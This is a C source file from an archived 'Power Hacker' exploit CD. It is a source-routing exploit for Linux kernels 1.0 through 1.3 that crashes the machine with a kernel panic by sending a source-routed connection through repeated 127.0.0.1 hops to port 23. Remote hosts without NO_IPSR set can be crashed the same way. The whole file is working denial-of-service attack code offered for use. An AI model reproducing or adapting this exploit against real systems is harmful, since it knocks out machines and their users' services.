home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / sr-crash.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-11-06  |  3.4 KB  |  166 lines

  1.  
  2. [ http://www.rootshell.com/ ]
  3.  
  4. /*
  5.  * Source Routing Exploit for Linux v1.0.x thru 1.3.x
  6.  *
  7.  * Causes kernel panic when run locally on all systems I have tested.
  8.  * If remote machine is placed as the last hop and does not have NO_IPSR
  9.  * set, they will panic as well.  Luckily NO_IPSR is default ON.
  10.  *
  11.  * by Kit Knox <kit@connectnet.com>
  12.  *
  13.  * based on code by "Tim N."
  14.  *
  15.  * s_connect(s, name, port)                - resolve name and connect 
  16.  * resolve_name(n, add, max, strict)       - resolve names
  17.  * source_route(s, add, num, strict, port) - source routed connect
  18.  *
  19.  */
  20.  
  21. #include <sys/types.h>
  22. #include <sys/socket.h>
  23. #include <netinet/in.h>
  24. #include <netinet/in_systm.h>
  25. #include <netinet/ip.h>
  26. #include <netdb.h>
  27.  
  28. /*
  29.  * make a IP connection specifying the route to take
  30.  * 
  31.  * s       -  socket
  32.  * add[]   -  array of hops to make from first to last (Destination)
  33.  * num     -  number of hops
  34.  * strict  -  1 for strict source routing, 0 for loose source routing
  35.  */
  36. source_route(s, add, num, strict, port) 
  37. struct in_addr add[];
  38. int num, strict, port;
  39. {
  40.   int i;
  41.   unsigned char buf[100], *t;
  42.   struct sockaddr_in a;
  43.  
  44.   a.sin_family = AF_INET;
  45.   a.sin_port = htons(port);
  46.   a.sin_addr.s_addr = add[num - 1].s_addr;
  47.  
  48.   if(num <= 0)
  49.     return(-1);
  50.  
  51.   /* no source routing needed */
  52.   if(num == 1) 
  53.     return(connect(s, (struct sockaddr *)&a, sizeof(struct sockaddr_in)));
  54.  
  55.   t = buf;
  56.   *t++ = (strict) ? IPOPT_SSRR : IPOPT_LSRR;    /* type */
  57.   *t++ = 3 + 4 * num;                           /* length */
  58.   *t++ = 4;                                     /* pointer */
  59.   for(i=0; i<num; i++) {
  60.     bcopy(&add[i].s_addr, t, 4);
  61.     t += 4;
  62.   }
  63.   *t = IPOPT_NOP;   /* size = 3 + 4 * num,  pad out to multiple of 4 */
  64.  
  65.   if( setsockopt(s, IPPROTO_IP, IP_OPTIONS, buf, 4 * (num + 1)) < 0)
  66.     perror("source routing option");
  67.  
  68.   return(connect(s, (struct sockaddr *)&a, sizeof(struct sockaddr_in)));
  69. }
  70.  
  71. res_one(n, a)
  72. char *n;
  73. struct in_addr *a;
  74. {
  75.   struct hostent *hp;
  76.  
  77.   a->s_addr = inet_addr(n);
  78.   if(a->s_addr == -1) {
  79.     hp = gethostbyname(n);
  80.     if(hp) 
  81.       bcopy(hp->h_addr, &a->s_addr, 4);
  82.     else {
  83.       printf("Cant resolve %s\n", n);
  84.       return(-1);
  85.     }
  86.   } 
  87.   return(0);
  88. }
  89.  
  90. resolve_name(n, add, max, strict)
  91. char *n;
  92. struct in_addr add[];
  93. int max, *strict;
  94. {
  95.   char c;
  96.   int i, j;
  97.  
  98.   i = 0;
  99.  
  100.   /* single host */
  101.   if(*n != '@' && *n != '!') {
  102.     if(res_one(n, &add[0]) == -1)
  103.       return(-1);
  104.     else
  105.       return(1);
  106.   }
  107.  
  108.   /* strict routing */
  109.   if(*n == '!') {
  110.     *strict == 1;
  111.     n++;
  112.   } else *strict = 0;
  113.   
  114.   if(*n != '@') 
  115.     return(-1);
  116.  
  117.   n++;
  118.   for(;;) {
  119.     for(j=0; n[j] && n[j] != '@'; j++)
  120.       continue;
  121.     c = n[j];
  122.     n[j] = '\0';
  123.     if(res_one(n, &add[i++]) == -1)
  124.       return(-1);
  125.     if(i >= max) {
  126.       printf("Too Many Hops!\n");
  127.       return(-1);
  128.     }
  129.     if(c != '\0')
  130.       n += j + 1;
  131.     else
  132.       return(i); 
  133.   }
  134. }
  135.  
  136. /*
  137.  * resolve an address and connect to it
  138.  * named address is of the form  !@host1@host2@host3@dest
  139.  * where ! signifies strict source routing (and its ommission
  140.  * loose source routing).  The packets go through host1, host2
  141.  * host3 before reading dest.
  142.  */
  143. s_connect(s, name, port)
  144. int s;
  145. char *name;
  146. {
  147.   struct in_addr add[20];
  148.   int strict, x;
  149.  
  150.   x = resolve_name(name, add, 20, &strict);
  151.   if(x < 0)
  152.     return(-1);
  153.   
  154.   return(source_route(s, add, x, strict, port));
  155. }
  156.  
  157. void main(void)
  158. {
  159.   int s;
  160.   char str[50];
  161.  
  162.   sprintf(str,"@127.0.0.1@127.0.0.1@127.0.0.1"); 
  163.   s = socket(AF_INET, SOCK_STREAM, 0);
  164.   s_connect(s, str, 23);
  165. }
  166.